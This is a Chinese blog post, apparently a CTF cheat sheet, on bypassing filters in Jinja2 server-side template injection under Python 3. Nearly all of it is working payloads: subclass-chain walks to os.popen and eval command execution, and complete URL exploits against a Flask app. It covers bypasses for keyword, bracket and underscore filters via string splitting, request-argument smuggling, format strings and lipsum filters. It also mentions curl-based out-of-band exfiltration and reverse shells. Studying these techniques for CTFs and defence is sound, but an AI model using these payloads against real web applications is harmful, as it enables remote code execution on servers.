jinjia2 ssti bypass
本文仅针对python3下的jinjia2 SSTI
测试代码
1 | from flask import Flask, render_template_string, request |
无过滤情况
获取基本类
使用str dict tuple list对象获取基本类
1 | ''.__class__.__mro__[1] |
利用jinjia2中特有对象获取基本类
1 | request.__class__.__mro__[10] |
执行命令
如果运气好的话,获取的子类内建模块中有os
1 | object.__subclasses__()[103].__init__.__globals__['os'].popen('whoami').read() |
但大部分情况是没有os模块的,需要自己引入
1 | object.__subclasses__()[75].__init__.__globals__.__builtins__['eval']('__import__("os").popen("whoami").read()') |
通用命令执行
1 | {% for c in [].__class__.__base__.__subclasses__() %} |
BYPASS
关键字
过滤class base mro globals builtins import get eval等关键字
(1) 拼接字符串+ attr过滤器
1 | ''['__clas''s__']和''.__class__的执行结果一致 |
完整的payload构造一下就可以了
1 | http://127.0.0.1:5000/index?name={{((''["__clas""s__"]|attr("__ba""se__")|attr("__sub""classes__")())[75]|attr("__i""nit__")|attr("__glo""bals__"))["__buil""tins__"]["e""val"]('__imp''ort__("os").popen("whoami").read()')}} |
(2)request对象接受参数绕过,这种方式比较灵活,但在过滤request后无法使用
GET
1 | {{''[request.args.d1]}}&d1=__class__ |
POST
1 | {{''[request.form.d1]}}&d1=__class__ |
完整的payload构造一下就可以了
1 | http://127.0.0.1:5000/index?name={{(''[request.args.d1])[request.args.d2][request.args.d3]()[75][request.args.d4][request.args.d5][request.args.d6]['eval']('__import__("os").popen("whoami").read()')}}&d1=__class__&d2=__base__&d3=__subclasses__&d4=__init__&d5=__globals__&d6=__builtins__ |
过滤中括号
过滤中括号比较简单,object[x] 调用的就是getitem方法,但过滤中括号的话可以使用getitem或get绕过
1 | ''.__class__.__base__.__subclasses__().__getitem__(75).__init__.__globals__.__builtins__.__getitem__('eval')('__import__("os").popen("whoami").read()') |
过滤下划线
(1) 之前的request对象传参绕过
(2) 格式化字符串绕过
1 | ()["{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)] |
这里使用不了__import__
,只能尝试下内置模块,或是反弹shell,存在局限性,还是推荐用request对象传参,方便灵活
完整的payload(exec不像eval返回结果,无回显curl外带命令执行)
1 | # ().__class__.__base__.__subclasses__()[75].__init__.__globals__.__builtins__['exec'] |
附个撸的脚本
1 | def encrypt(): |
(3) 使用过滤器
1 | # 获取下划线 |
1 | # 获取chr函数; lipsum.__globals__['__builtins__'].chr |
1 | # 执行命令;lipsum.__globals__.__builtins__['eval']('__import__("os").popen("whoami").read()') |
完整payload
1 | {%set xiahua=(lipsum|string|list).pop(18)%} |
总结
jinjia2 SSTI bypass的技巧非常灵活,要善于使用过滤器和一些内建模块来绕过限制,虽然在实战中用处不大,但在CTF中还是有一些价值的。
参考内容:
https://jinja.palletsprojects.com/en/2.11.x/templates/
https://blog.csdn.net/qq_40648358/article/details/106345166
https://blog.csdn.net/rfrder/article/details/115272645